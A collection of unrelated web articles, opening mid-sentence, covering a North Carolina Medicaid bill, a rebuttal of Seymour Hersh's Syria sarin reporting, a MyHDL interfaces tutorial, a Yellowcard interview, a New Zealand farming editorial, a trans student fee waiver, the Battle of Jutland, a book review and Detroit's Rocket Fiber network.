these two machines we featured a while back.
-RALEIGH – Sponsors of new legislation that would increase Medicaid eligibility for about 375,000 low-income North Carolinians say their plan is a new way forward on a complicated and often politically charged issue.  North Carolina is one of 19 states that has not expanded Medicaid eligibility under the Affordable Care Act. After recent attempts to repeal the ACA faltered, many of those states are taking another look at Medicaid expansion.  Four Republicans introduced the new legislation in North Carolina, House Bill 662; they included Rep. Josh Dobson, R-McDowell. Like a bill that a group of Democratts previously introduced and a plan Gov. Roy Cooper put out earlier this year, the proposed Carolina Cares plan would take advantage of federal funding of expansion under the Affordable Care Act. But unlike the other attempts, the new effort comes from a key segment of the House caucus.  Along with Dobson the co-chairs of the House Health Committee, Reps. Donny Lambeth, R-Forsyth, and Rep. Greg Murphy, R-Pitt, are sponsors. They’re joined by Rep. Donna White, R-Johnston, a nurse. Another backer is House Appropriations Chair Nelson Dollar of Wake County.  Reaction so far has illustrated the difficulty of any change in the status quo. Both House Speaker Tim Moore and Senate leader Phil Berger said over the weekend that they are still opposed to Medicaid expansion.  The legislature officially prohibited both a state-operated exchange and Medicaid expansion under the ACA in 2013 with the passage of Senate Bill 4. The legislation put final say on changing Medicaid in control of the legislature, a provision that made it unlikely that Cooper’s recent push to expand Medicaid without legislative approval would succeed.  At last week’s news conference announcing the bill, HB662 sponsors were keenly aware that after years of strong opposition, the new plan would have to carry a label other than “expansion.” Instead, the proposal is being pitched as a new type of insurance option for low-income residents.  “This is an option, not a requirement,” Lambeth said. “It’s designed like many insurance products. Participants who fail to keep up with their premiums or coverage requirements lose coverage.”  The plan would require a waiver from the federal government to allow the state to set up its own system for raising eligibility to include people aged 19 to 64 who earn less than 133 percent of the federal poverty level. That’s about $16,000 for a single person, $21,500 for a couple and $33,000 for a family of four.  For those able to work, the plan requires employment or job-training. All recipients would pay premiums equal to 2 percent of the annual incomes and would have to agree to schedule routine preventive care.  Lambeth said the commitment to preventive care was a key difference.  “This product is unlike any other state in the nation,” he said. “It establishes a new health care paradigm in North Carolina rooted in consumerism and personal responsibility.”  Lambeth added that the plan is an economic win for the state. By providing coverage to low-income workers, demand for health services will increase, he said, adding jobs and shoring up rural health centers.  “This influx of health care services will benefit rural areas of North Carolina where many providers are already under a great deal of stress,” he said.  Dobson said the bill would help struggling rural areas.  “We have a lot of hard-working individuals who are uninsured,” Dobson said.  “This bill seeks a common sense solution to increase coverage in rural areas, rational accountability measures and finally just be able to increase access to care in underserved areas of the state like mine.”  Although the exact eligibility requirements could affect the total number of participants, the plan could affect as many as 375,000 residents.  Sponsors said they expect enrollment in Carolina Cares to be between 300,000 and 350,000.  A recent analysis of the various Medicaid plans by the North Carolina Institute of Medicine said HB662 would increase eligibility to roughly 375,000 residents. A snapshot by the institute of the eligibility based only on a slightly higher 138 percent of the federal poverty level put the total number in eligible 630,654 with the breakdown for WNC counties as follows:
-Last week the London Review of Books published an article by the respected Pulitzer prize-winning journalist Seymour Hersh, The Red Line and the Rat Line, in which he details the alleged involvement of the Turkish government with the Syrian opposition group Jabhat al-Nusra in last August's sarin attack in Damascus. Between 1,000 and 1,400 people are estimated to have died.  The US, Britain and other western governments have pinned the blame on the Syrian government; Russia has accused the rebels. Hersh describes this as part of a "false flag" operation designed to draw the US into a conflict with Syria.  In his 6,000-word article Hersh relies heavily on single, unnamed sources for each of his claims, and constructs a narrative in which the Turkish government was responsible for the largest chemical attack since the one carried out by Saddam Hussein on Halabja in 1988. But Hersh's story is full of holes, and it brings the reliability of his sources and conclusions into question.  Hersh makes no mention of the munitions used on 21 August, something that is key to understanding the attacks. In an interview for Democracy Now! he states that the weapons were both homemade and not in Syria's arsenal. Both these claims are wrong.  Two types of munitions were used on 21 August and are linked to the dispersal of sarin gas. Both were recorded in a report by the UN and the Organisation for the Prevention of Chemical Weapons (OPCW) and tested positive for signs of sarin. One was a Soviet-era M14 140mm artillery rocket, certainly not a "homemade" munition, and the second was a munition that was widely unknown.  Studying videos and photographs posted by opposition and pro-government sources has allowed researchers to piece together a great deal of information about these rockets. We know they are referred to as "Volcano" rockets and come in at least three sizes: 107mm, 122mm (as used on 21 August), and a much larger type based on a 220mm rocket motor. It is also clear that there are both explosive and chemical versions, as well as evidence of their use by the Syrian military from late 2012.  Videos and photographs from 21 August show at least eight examples of the chemical type of Volcano rockets. There are three videos from an alleged chemical attack in Adra, Damascus, on 5 August showing the same type of Volcano rockets; one video from Adra in June showing a chemical Volcano rocket; and videos and photographs from December 2012 to January 2013 showing the remains of chemical Volcano rockets. In all examples the rockets have been fired at the opposition and appear to share an identical design, down to the smallest details.  Photographs and footage going back to November 2012 filmed by opposition activists shows Volcano rockets being launched. Eight videos from Mezzeh airbase, near Daraya, from December 2012 show Volcano rocket launches; and from October 2013 the rockets and their launchers began to show up from videos posted by the Syrian government's National Defence Force. Eventually, even pro-Hezbollah sources started posting images of Volcano rockets in action. It is quite clear that no matter how "homemade" Hersh believes the rockets to be, they have been used by the Syrian military for more than a year.  When questioned about this in a recent interview with the Turkish website Diken Hersh dismissed the Volcano rockets, seemingly because he believes a range of "a mile" somehow means they should be discounted as important to his narrative. Hersh refers to the work of Ted Postol and Richard Lloyd who believe the range of the rockets is about 2km. But this range issue isn't the problem Hersh appears to think.  Video footage from both sides of the conflict has allowed researchers to accurately find the positions of government controlled areas on 21 August. The Russian-language news site ANNA News posted two dozen videos showing "Operation al-Qaboun", a Syrian government military operation running from June to August 2013. Embedded with Syrian forces, they were able to film the progress of the operation to clear positions between Jobar and Qaboun, a strip of land about 2km away from the 21 August impact sites.  Videos from opposition groups show the other side of the fighting, including attacks on checkpoints and government movements. Based on this information it appears that the front lines were about 2km away from the furthest impact sites of rockets used on 21 August. Only two rockets landed at the 2km maximum range described by Lloyd and Postol, with the reported impact sites of the remaining rockets being between 1.5km-1.8km away. It has been possible to confirm the precise impact locations of some of the rockets by a combination of GPS information, satellite map imagery, photographs and videos, and around a dozen impact sites were reported by local groups in eastern Ghouta. Hersh's belief that the 2km rocket range is enough to dismiss them from his narrative is clearly misguided.  Despite Hersh's claims we can clearly see that the rockets were used by the Syrian government, and within range of government controlled territory.  Seven issues to address  But what about his claim of Turkey helping Jabhat al-Nusra, which is linked to al-Qaida, to produce sarin in Aleppo? Seven issues need to be addressed: difficulty of manufacture, quantity, choice of weapon, economics, logistics, concealment, and the specificity of the product.  Firstly, sarin is difficult to make. Anyone who claims otherwise is oblivious to both history and chemical engineering. Germany, the US and the former Soviet Union took years to perfect the process. Its production requires a number of complex steps and the ability to handle highly dangerous chemicals at very closely controlled high temperatures and pressures. There is no evidence anyone has come up with any sort of streamlined method to manipulate the molecules to make sarin.  Second, quantity. Perfecting the process isn't enough – there is a difference between making a spoonful and enough for the August attacks, which would have needed about half a ton. This assumes a scale only reached by big state production programmes. To put it in perspective, the one verified example of non-state production of sarin was the Aum Shinrikyo cult in Japan. Their many millions of dollars, very large purpose-built manufacturing facility and highly qualified staff got them the ability to make single batches of perhaps 8 litres of short shelf life Sarin. The alleged Aleppo plant wouldn't need to be the size of the Rocky Mountain Arsenal in the US, but it would have needed to be closer to that than the size of a house.  Third is the choice of weapon. Of the panoply of chemical warfare agents available to modern science and engineering, sarin is one of the hardest to make. So why was this one chosen? Even its nerve agent kin, Tabun and VX, are arguably easier to produce; mustard or lewisite are easier and use less technology. Numerous toxic industrial chemicals which might "fly under the radar" of non-proliferation regimes could be used as weapons. So why pick the hardest?  Fourth, economics. To make this operation work it is going to take a lot of highly trained people, raw materials, and specialised equipment, as well as a facility. It would cost many tens of millions of dollars. When the rebel factions are so stretched for resources, does it make any sense to spend, say, $50m on a weapon of limited utility? Lavish expenditure must raise a paper trail somewhere; there would be order books and receipts. Let's see them.  Fifth is logistics. You don't turn precursor material magically into sarin: you need about 9kg to end up with 1kg of sarin. This stuff has to come from somewhere, but where? Hersh omits these details, as do most of the alternative narratives. It is simply assumed that things like phosphorus trichloride and thionyl chloride just get summoned up in vast quantities without someone noticing. Most commentators on this issue have also forgotten about something called conservation of mass. If you use 9kg of material to synthesize 1kg of sarin you end up with 8kg of waste, rather a lot of which is very dangerous, smelly and corrosive. This waste stream has to go somewhere, and someone will notice. There are also the logistics of getting a lot of sarin into rockets and getting those rockets from Aleppo to Damascus.  Sixth, concealment. How do you hide all of this? The building, the supply chain, the people, the money, and the very smelly waste stream. Where are they? They need to be concealed not just from the Syrian regime but from other rebel factions, western intelligence agencies, the Russians, and perhaps even your own people who might desert, get captured or say silly things on YouTube videos. There is deathly silence from Aleppo and we only find out about it from Hersh?  Lastly is the specificity of the product. There are important physical clues found in the traces of sarin at the impact sites of the 21 August rocket attack. One of these is the presence of hexamine, a chemical with no history of use in nerve agent production. But hexamine can be used as an acid scavenger, and thus its presence could be explained due to its use as an additive to the sarin. This idea has been reinforced by both the admission of the Syrian regime that they used hexamine as part of their formula, and by Syria's declaration to the OPCW of an inventory of 80 tonnes of hexamine, specifically as part of their chemical weapons program. Surely, as an uncontrolled substance, they could have omitted it from their declarations. But they didn't. Hexamine in field samples plus hexamine in Syrian inventories, plus an admission that hexamine was in their recipe, seems a compelling case for tying the Sarin in the field to the Syrian regime. How would an Aleppo-based rebel factory somehow come up with the same exact idea?  Taken cumulatively, all these points add up to a very high degree of improbability. Isn't it more probable that the Sarin came from the people who confessed to having a Sarin factory, fired from areas controlled by the government 2km away from the impact sites, in munitions the government had been using since 2012?
-MyHDL Interfaces Example  With the next release of MyHDL, version 0.9, conversion of interfaces will be supported. In this context an interface is any object with a Signal attribute. This can be used to simplify connection between modules and port definitions. For example, if I want to define a simple memory-map bus, the Signals for the bus can be defined as follows:  class BareBoneBus: def __init__(self): self.wr = Signal(False) self.rd = Signal(False) self.ack = Signal(False) self.rdat = Signal(intbv(0)[8:]) self.wdat = Signal(intbv(0)[8:]) self.addr = Signal(intbv(0)[16:])  The interface definition can be used to connect the bus between different modules (interface the modules). To demonstate the above as an interface, I am going to invent a convoluted example. The example is a small system that contains some buttons and LEDs (majority of FPGA dev boards have these). When a button is pressed a BareBoneBus (bbbus) bus cycle will be generated to read the LED register and invert the value and write the inverted value back to the LED register.  Obviously, this system achieves its goal: invert the LEDs, the hard way! This is ok, the example is pedagogical.  Often it is advantageous to write a test before implementing the module (test driven design, TDD). Before jumping to the interface usage, here is the meat of a test.  @instance def tbstim(): reset.next = reset.active yield delay(10) reset.next = not reset.active yield delay(10) buttons.next = 1 for _ in range(8): yield clock.posedge assert leds == 0xFF buttons.next = 0 yield delay(10) buttons.next = 0x1F yield clock.posedge buttons.next = 0 for _ in range(8): yield clock.posedge assert leds == 0 print("*** TEST PASSED ***") raise StopSimulation  The test verifies the LEDs invert when the button is pressed. For this example I did not simulate an “actual” button press (with the signal bouncing around like a two-year old after a nap) but the design does debounce the buttons a little. If you load the design on a board you will see it acts as expected.  On a side note, this design can easily be loaded on a board, simply clone (or fork) the example repository and run the compile_design.py script. This requires the myhdl_tools pkg and currently only supports a small number of boards. Board definitions are easy to add, feel free to submit pull requests with additional boards.  Four components are needed: memory-mapped bus (defined above), register based LED driver, button state-machine to drive a bus cycle, and the top-level. The following are the different modules.  Top-Level and LED  Button  The interfaces remove the complexity (and carpal tunnel) involved to connect (interface) modules. Instead of having to list the bus signals individually for each module they are encapsulated in the interface. This is similar to SystemVerilog (SV) interfaces but a magnitude of order improved (and this is an under statement). My experience with SV interfaces has ranged from no synthesis support to incomplete and incompatible support in the various tools.  Because the MyHDL interfaces convert to standard Verilog and VHDL the interfaces are supported by the tools.  This example is trivial, those in search of advanced examples see the modules in this project. One of the great features with cores defined in the mentioned project is they are bus agnostic, a bus (as long as it meets the minimum requirements) can easily be swapped out (depends only on which bus is passed to the module). This is truly reusable cores.  The MyHDL interfaces simplify the development of complex digital systems and are powerful for designing reusable IP (i.e a big win). This example is available @EDAPlayground. It is easy to experiment with different interfaces in MyHDL.
-Pop-punk stalwarts YELLOWCARD have faced more than their share of adversity as of late, from band turnover to health scares to heartbreaking personal tragedy. Down but never out, their ambitious new album Lift A Sail (iTunes | Amazon | Google Play) documents these trials—and rocks hard.  It’s been a trying few years for Yellowcard, to say the least. First, while in the midst of a career recovery/upswing that initially began with 2011’s When You’re Through Thinking, Say Yes, violinist Sean Mackin was diagnosed with thyroid cancer. Then in April 2013, singer/guitarist Ryan Key’s wife (Russian Olympic snowboarder Alyona Alekhina) was paralyzed in a tragic accident. And then this year, founding member Longineu Parsons (a.k.a. “L.P.”) called it quits, after 17 years with the group. Through it all, Key kept writing.  Back with a newfound fire, the group—also including guitarist Ryan Mendez and bassist Josh Portman—crafted Lift A Sail, their boldest, most exploratory work to date, fusing their familiar West Coast-inspired pop-punk with a wide palette of previously unused textures including heavy splashes of ’90s alt rock and electronica. Intrigued, we caught up with Key to find out how Yellowcard arrived at their radical new sound.  Before you dive into our interview with Key, we have “Crash The Gates,” an exclusive new track from Lift A Sail, here for your listening pleasure!  Lift A Sail has much more of a ‘90s alt-rock vibe than your previous records. Was that intentional?  RYAN KEY: We feel like there were two groups of bands for us growing up. There was a group of bands that first inspired us to become musicians, play guitar and write songs, which are a whole separate group of bands from the groups that really made us want to be in a band and tour and be on the Warped Tour. I think I was 15 when the Nirvana record [Nevermind] was coming out, and the first Weezer record was coming out, the Smashing Pumpkins record… all those ‘90s alternative grunge or whatever-you-want-to- call-it bands who made us pick up a guitar and want to play music. For whatever reason, that’s the path we tended to go down on this record.  The bands like No Use For A Name, Lagwagon, Strung Out, Bad Religion, NOFX and on down the list, that was a time later in our teens or early 20s, when we decided to start touring and form bands, so those bands heavily influenced us, even now. I don’t know if there’s a specific reason why, but I feel like we gravitated toward [the first group] on this record.  What personally inspired these new songs?  I feel like every song is independent and standalone, but then they fit collectively together. I was feeling quite inspired to write music; I went through the most tumultuous year. I met my now-wife [Alekhina] a couple of years ago. She’s a professional snowboarder from Russia, and we were engaged in December of 2012. She was in California in April of last year, training, shooting some videos and stuff, and she broke her back, and is paralyzed below the waist. She’s been making progress, and it’s been a huge inspiration to me, but I’ve been going through that—we’ve been going through that—and as a songwriter, something like that, it’s impossible to not put it down on paper and write about it.  We were really comfortable with the way we wanted the songs to sound, and the structure of the songs we wanted to write. We write the music before we put the lyrics together; we’ll use the music to create the inspiration for the direction to the lyrics and it will determine the way I write. So I did a lot of that on the record, taking home the demos and sitting there with them. Obviously, I have a lot to write about and I felt really good about it, really confident the whole time. I didn’t have writer’s block. I didn’t get hung up on anything.  We wanted to make a genuine rock record and I hope that’s where we ended up. We don’t want to alienate anyone—we’re not trying to push away anyone who’s gotten us to where we are today—but it is important for us that we’re continually growing and evolving as musicians and songwriters and not making the same record over and over again. I don’t know if we set out at the beginning to make it as different as it ended up being, but when all was said and done, we were all really, really impressed with it. I think it’s the best songwriting we’ve ever done as a band.  I’m so sorry for what you’ve both endured. Were you there when Alyona was hurt?  No, I was recording Ocean Avenue Acoustic, and I hadn’t talked to her all day. Her manager called and said, “Hey Ryan, it’s Drew. Alyona has fallen and she can’t feel her legs. We’re on our way to the hospital. Call you when we get there.” I got home, packed my bags and was at the airport. I got the call at 1:30 and I made it to the airport and was on a flight by 4. It was crazy. It’s been a wild ride.  How is your wife doing now?  She worked really hard to get into this rehab center in Russia that’s a retreat type thing—it’s kind of a log cabin up in the woods-type place where the doctors live and work there. It’s really hands-on, really detached from the world, so you can just focus. She’s been really happy with it. She’s amazing, it’s been a year and a half, and she’s still doing 6 to 8 hours of therapy every single day. I’m so proud of her. Her first session of that just ended. She’s taken a lot of the work home with her, and she’s with her parents now. They have a nice country house. In a few weeks we’ll be together, and I think after Florida she’s going to go back to the program there for a couple months. Seeing her work as hard as she does, it’s hard for me to complain about anything… I don’t think she has any drive to do athletics anymore, but she has the same drive to walk again; she has the same passion and athletic spirit to focus toward her therapy.  Will she walk again?  It’s hard to say. I’m trying to learn all there is to learn. They rate these injuries A to E, and B to E are an incomplete injury. Unfortunately, she has an A rating, and it was hard for her to take at the beginning, but she was like, “I’m not going to let these doctors tell me what to do,” or let any rating tell her. She still doesn’t have any sensation below the waist. Sometimes she feels things happening in her legs—they’ll get hot or cold—but there’s not what you’d classify as sensation. We’re going to have to wait and see. I know she’s not going to give up.  With so much stress in your personal life, didn’t you find it hard to sit down and focus on music?  We lived in Denver for a year at the hospital in-patient rehab, so when it came time to make the record, I was in L.A. while she was in Denver. I just tried to focus on the record, and I had most of it done when she got to Los Angeles. It was good to have the time to myself to work on it, but it’s certainly been tough being away from her.  I can imagine it would be so heavy to write about the experience you’ve both been through.  I feel happy I was able to pull so much from the same experience but make so many different songs and ideas. To me, it doesn’t feel like the whole thing is about the same experience, although all the songs evolved from the same experience. There are songs that are unrelated, but most are pulled from the one experience. There are all kinds of emotions you can pull and write about and have a different feel.  You also wrote a song (“My Mountain”) about your grandfather, William Alexander Speir.  My grandfather passed a couple months before we started working on the record. I was home in Florida to see him, and my grandmother passed recently, too. It’s very common for two people who have been together for a number of years to pass soon after the other, and it totally happened with my grandparents. It’s amazing because depending on your belief [system], it makes you think they couldn’t be without each other.  So when I went home to see my grandfather, they’d put him in hospice, and he ended up hanging on and doing okay for another month or so. He was 94 years old, but didn’t have any sickness or disease; he was just 94 and tired. In October of 2012, my aunt Stephanie, who is the middle sister in my mom’s family, she passed due to brain cancer. So I wrote some music in honor of that.  We have this property in North Carolina—this mountain house—and we scattered my aunt’s ashes there by the house and did a service for the family. My grandparents asked to do the same, so when I was visiting my grandfather, I remember hearing him ask my mom over and over again if he was there yet, and my mom would say, “Where dad? Where do you want to be?” He kept saying, “Am I on the mountain yet?” My mom would say, “Not yet, but you’ll be with Stephanie and it will all be perfect.” Since my grandmother also passed, when it says, “I’ve found my mountain, I can be with her,” that also applies to my grandmother. I’m really proud of that song.  My grandfather wrote a lot of poetry his whole life; we have a cool book that my mom and brother made for him once, where they collected all his poetry. He did a voiceover on a Yellowcard song in 2007 on Paper Walls called “Dear Bobbie,” and he got a writing credit. It was cool because it immortalized us, writing a song together. He was a really special man to me. I always looked up to him, and he’s definitely missed, but I feel really happy I have the ability to write songs and do something like write a song for him.  You also wrote about your aunt in “Sing For Me,” from When You’re Through Thinking, Say Yes. Your family story has really become interwoven in the songs over the years.  The fans who’ve been with us since the beginning are very aware of that, and I wanted to put it out there, including the story of my family. I feel like I should be proud of the way I write, pulling directly from life experience. It’s kind of unavoidable, and I have such an amazing family, it’s easy to write about.  Were there any other things you were compelled to write about on the record aside from your wife and family?  Yeah, when you get to be our age, really at this point, just trying to figure out who’s moving forward in your life and who is not, and who’s going to be with you for the rest of the way, and who isn’t. I think I covered a little bit of that, separating yourself from negativity so you can be in a better place without it. There are a couple songs that go that way. It pulls from what I’ve been through with my wife, the concept of what that was like. She and I have grown a lot—her family is in Russia, mine’s in Florida—so going through that together, the two of us, having it be challenging to have a real support system there, and calling out for help. So that was one different take on that experience.  How’s Sean doing with his bout with cancer?  He’s doing well. He’s trying to take care of himself, eating gluten-free, taking some meds. His last scans are really good. He’s not officially cancer-free, but it’s good to be contained and do everything you can do. I don’t think there are any red flags for now and that’s all you can ask for. Onstage, it’s not holding him back in any way.  On this new record, his playing seems a little different in terms of his contribution to the overall mix.  I think he was definitely challenged to find his way through the beginning of this process. While you may not hear what you can identify as a solo violin part in all the songs, there’s a ton of violin on the record, it’s just used in very different ways. There’s a lot more electric violin. There’s a lot of percussion stuff. He’d play a part with the back of his bow to create a percussive sound. Sonically, there’s some crazy stuff going on as far as production and programming, and there are a lot of electronic elements in it.  Coldplay is my favorite band of all time, and the guy who programs for them is Jon Hopkins. Ryan Mendez opened my eyes to him, so I started listening to [Hopkins’ solo material] and learned a lot about how he does what he does, and a lot of the stuff he does on his own is a lot more aggressive and kind of grittier than what he does on the Coldplay records, and we took a lot of inspiration from that. A lot of bands we love do interesting stuff sonically that we’ve never done before. I think I found a really cool marriage of programmed electronic elements to use on the record, but keeping everything sounding super-organic with the instruments going along with it, and the violin is a part of that. We used it in so many ways to create cool sounds and a balance, where sometimes you don’t even know it’s a violin.  I’m sure we’re going to run into people who are like, “Oh, where’s the violin?” But it’s funny, because it’s all over the record. We used it in different, new ways, and then there are songs like “MSK” and the intro ["Convocation”] that are completely driven by strings. There are string moments on each song, but you have to listen for [t[them]I think the solo he wrote in the song “Fragile And Dear,” that shit rips your heart out, and I think he was, like we all were, making something new. I was hoping my voice worked over these new-style songs. I think Sean had the same challenge to make the violin work, and I think we all pushed ourselves to the limit.  What was it about your vocals that you didn’t think was working with the new music?  I didn’t necessarily think they weren’t working, but I don’t have that grit. People think my voice is on Autotune when it’s not. It’s such a pure, clean note that comes out. It was interesting to approach it and see where my voice was going to fit. What I did was really immerse myself in the song and do what I’d never done before as far as dynamic and falsetto. I used a lot of my falsetto on the record, and I love it. I can’t wait to do it live. There were a lot of times where we were like, “The melody’s high, it’s going to be really straining to sing, but it’s the right melody, so why don’t we just do it falsetto?” People will probably be a little taken aback when they hear it for the first time, but it’s a completely comfortable way for me to sing and get the melody out.  Then, dynamically, this time I could choose my moments to let up and then really hit it hard, and Neal [A[Avron, producer]orked really closely on the programming, electronics and with vocals. He worked really hard with me. He pushed me.  This is the sixth album you’ve done with him. Was it any different working with him this time?  He was a big part of why this thing turned out the way it did. At the beginning, he was like, “I think you guys are ready to step out of the box a little more. You never have before.” I think in the end, there were probably more raging rock guitars on it than he would have liked, but he helped us find a good medium. He never just lets you do things, even though we’ve made so many records with him over the years. He doesn’t just press “record” and let it go. He’s deeply invested in what we do, and that’s why we keep going back to him. It feels really good when he tells us we’re doing something good. We had a lot of fun with it. We weren’t holding back. We weren’t worried about who was going to think what about what; we just had fun and did what we thought sounded rad.  Yellowcard co-founder L.P. [d[drummer Longineu Parsons]eft earlier this year, and since then you’ve had Nate Young from Anberlin temporarily filling in on drums. Have you found a permanent replacement?  I wish so much that we could keep him. But he’s heading home to Florida and starting a coffee brewing company with his brother-in-law. It is a bummer though, because there’s magic in playing with him. He really stepped in and made it amazing. We have a few guys in mind, but we’re definitely not anywhere near making a final decision as to who gets the full-time gig.  Did L.P. leaving have anything to do with the band’s new direction?  It was an internal thing, and it’s one of those situations where we’re not going to say too much and he’s not going to say too much. We honestly wish him the best, and he’s starting a new project. That’s what he wants to do now and I think everyone’s moving on.  What made you pick “One Bedroom” as the first single?  I went into that with the philosophy that I’m not going to have a philosophy; I’m not going to try to tell the label what to do. I want the label to pick what they believe in to go to radio and it’s on their shoulders to make it work. I love this song; I can’t wait. If we’re able to put a minute-long, raging ’90s filter guitar [s[solo]hing on the radio, it will be a major accomplishment. But if we’d put a song forward as a band and it didn’t work, I think they’d say, “Well, it’s not the one we’d have chosen.” So I really went into it thinking, “You guys decide. Whatever song moves you the most and you’re the most excited about.” It was an interesting choice; it was a super-different song for us.  That song seems to be the apex moment on the record.  When those lyrics started coming out, it was heavy. It’s a song that’s related to my life and my wife’s life and our experience, but anyone can grab onto that song. I love the lyrics, and that guitar solo is maybe my favorite moment on the record. It’s so big: It’s like 1993, the vibe of that solo. I’m so stoked we did that. I just think we made a lot bolder choices this time.  How about bassist Josh Portman settled in as your newest permanent member?  He and I talk about it a lot, because he’s not playing on the record and he’s not writing right now, either. At the time he came into the band, there were so many changes and we’ve been through that so many times, that we decided to keep the writing side of it Ryan [M[Mendez]Sean and I. Josh is an incredible musician, so I have full confidence in his playing, but it’s a transitional thing and it’s still the way it was when we made the transition.  He’s like, “What do I say when fans ask me?” and I said it’s an acceptable answer, it’s not crazy: “I’m in the band, I’m just not a writing member.” So we’ll see what goes on, how that pans out in the future. I’d be happy to have him as part of the writing process, but it just hasn’t been neatly done.  You’re also on a new label again, Razor & Tie.  Our contract was up with Hopeless, and we had kind of entertained the idea of seeing what was out there. We got pretty close with the guys who run [R[Razor & Tie]We feel really comfortable there and we feel like they really believe in our band. We had a great run with Hopeless; there was no bad blood, there was no real reason behind why we didn’t re-sign. We just wanted to try something new for several reasons on our end and Hopeless’ end. It will be an amazing accomplishment and another dream come true, but [R[R&T]re trying to present us with a radio opportunity again. They have a radio department, and I don’t even know what radio means anymore, but a couple of their bands are doing really well on the radio, and they’re excited about this record. They’re going to go for it, and that’s one of the things we wanted to try, simply because we’re not ready to give up on that. There are some songs that potentially could have a place on the radio. We should go after that if we have the ability and somebody who wants to do it, spend the money and get behind the songs and the band. We look forward to seeing what they may be able to pull off.  What are your expectations? Another Ocean Avenue?  On our end, we want to tour and tour some more, so if they can pull off a marketing miracle and get the band up to another level, we’ll be so grateful and we’ll roll with it and keep going. But if that doesn’t happen, we’re not in any kind of trouble. I have a lot of hope for this record to open up a lot of great opportunities for us. We don’t want to be running in place—we really want to grow. I hope the record is going to help us on our path, on our way toward those goals. ALT
-It is now a week on from the election and it's clear voters have delivered a firm rebuff to the Greens' campaign that farmers were not doing enough to protect the environment.  It seems the message has finally got through – farmers are working hard to clean up rivers, keep their stock out of streams, and to plant more trees.  Hopefully, this will mean the mainstream media will pay less credence to the Greens' antifarming claims – and those from their cohorts Fish & Game, Forest & Bird and others – in future.  In fact, the media were shown by the election result to have been well out of touch with what New Zealanders regarded as the main issues of the campaign.  Dirty politics, while not to be condoned, was seen to be secondary to the more important issue of maintaining the country's economic progress. Increased taxes on the wealthy and on hardearned capital gains were firmly rejected.  And when patronising outsiders tried to tell us we were being spied on and that our leaders were lying to us – at the same time as Australia discovered terrorists in its midst – we punished the people who brought them here.  Some in the new National Government must now feel they have a mandate for some of the policies that failed to make traction in the last term.  But they should heed the prime minister's caution against showing arrogance. That will be hard for some.  It's true the win was a recognition of the Government's sound economic stewardship as well as the calm air of capability, with a touch of patient worldweariness, displayed by John Key as he found himself at the centre of a media maelstrom.  But it was also a rejection of people who tried to hijack the elections. And it was a rejection of the unimpressive alternatives to a National Government.  So, the mandate is not as strong as some might think.  Voters might think well of farmers now, but a move to change the Resource Management Act, for example, to make it easier for controversial water schemes, has to be carefully thought through.  The economic advantages may be obvious, but the environmental gains less so. Taking the frustrations out of a scheme like Hawke's Bay's Ruataniwha would be rewarding, but at the risk of alienating a large section of the community.  It has taken a lot to turn the environmental tide in farmers' favour.  It wouldn't take much to turn it back.  * Jon Morgan is the editor of the NZ Farmer print edition.
-Trans people in Tamil Nadu will have access to free education after one university committed to waiving fees for them.  The Manonmaniam Sundaranar University (MSU) waive the fees for trans students to help transform their lives.  MSU officials claimed it was likely they were the first university in India to give trans people fee-free places.  ‘After getting neglected by the society and even by their parents, the transgenders are forced to beg on the streets,’ MSU vice-chancellor K. Baskar told The Hindu.  ‘If we can create a favourable condition for acquiring better educational qualifications, it will enable them to occupy enviable positions in government or private institutions, and hence, the MSU has taken an initiative in this direction.’  The restroom debate settled  MSU’s constituent colleges have been told to build facilities that include separate restrooms for trans students.  ‘A transgender from Salem has become the first Sub-Inspector of Police in Tamil Nadu to prove that providing right opportunity is important for them to come up in life,’ Baskar said.  ‘We, by giving the fee waiver, have announced in an unequivocal manner that MSU is for the upliftment of the third gender. We should ensure a respectable life for them.’
-Introduction  The Battle of Jutland took place between the British Grand Fleet and the German High Seas Fleet on the 31st May 1916 in the North Sea, off the mainland of Denmark.  Although it was the only major naval battle of World War I, it became the largest sea battle in naval warfare history in terms of the numbers of battleships and battlecruisers engaged, bringing together the two most powerful naval forces in existence at that time.  You can follow the events of the Battle of Jutland step-by-step using maps, graphics, photographs and animations on how the battle unfolded. As well as a description of the events that took place, we will also be trying to explain the actions of Admiral Sir John Jellicoe, commander of the British Grand Fleet.  Why - despite leading the most powerful naval force in the world - did Admiral Jellicoe turn away from the German High Seas Fleet at the Battle of Jutland?
-Firstly, I would like to treat this short but impressive book as "autofaction", a creative narrative that nevertheless closely follows a real life arc. So it is neither fiction nor autobiography, but somewhere between the two.  This is a good picture of many of the trials and tribulations with which everyone, whoever they may be starts off. If you are black and gay or approximately gay anyway, you have alot to contend with than many people starting out in life. We expect a sense of completeness, and indeed salvation with the arrival of Michaela.  This is a hard, gritty story in parts. There are some experiences that are I hope no longer a part of our European world, and his young companions often came to dispiriting ends, Nathan for example. This is besides being a moving personal story, a document of social history.  We are privileged to share in a background and an upbringing that was difficult but not all bad by any means. The author is a good observer and storyteller. The book is full of lively incidents, effective character sketches and vivid recall.  The author is an effective and communicative writer. He invites the reader to share in his experiences; he lays out life for us, he does not hold back. The book needs some textual editing, yes, but it is important to keep the authentic tone of voice exactly as it is.
-Dan Gilbert, founder and chairman of Quicken Loans Inc. and Rock Ventures LLC, confirmed today the formation of a new investment initiative, Rocket Fiber LLC, a Detroit-based high-speed Internet provider.  Rocket Fiber will provide Internet in downtown Detroit that is up to 100 times faster than the current residential average, Rock confirmed. Rock Ventures called the initiative a community investment that is "game-changing."  Construction is underway on the advanced fiber-optic Internet network that will serve residents, local government and businesses in and around downtown Detroit. Access then will be expanded to other areas of the city.  Matt Cullen, president and CEO of Rock Ventures, called the the new network "the generational leap forward" and leapfrogging where the city is at this point. It's starting in the downtown and hopefully spreading out to the neighborhoods. There is some interest along the riverfront.  The network originates west of downtown Detroit, and the initial scope covers the central business district from M-10 to the west, I-75 to the north, I-375 to the east and the Detroit River to the south.  After initial installation in downtown Detroit, Rocket Fiber will expand services to residents and businesses in Midtown along the Woodward corridor.  The system will operate on hard-wired fiber-optic lines that will be connected to buildings. Users will connect devices in their homes or businesses by either an ethernet cable or Wi-Fi. An outdoor Wi-Fi offering also will be available, Rock Ventures said.  Rocket Fiber was founded in 2014 as part of the Rock Ventures and Quicken Loans family of companies. More information on the rollout is expected to be released in the coming weeks and months.
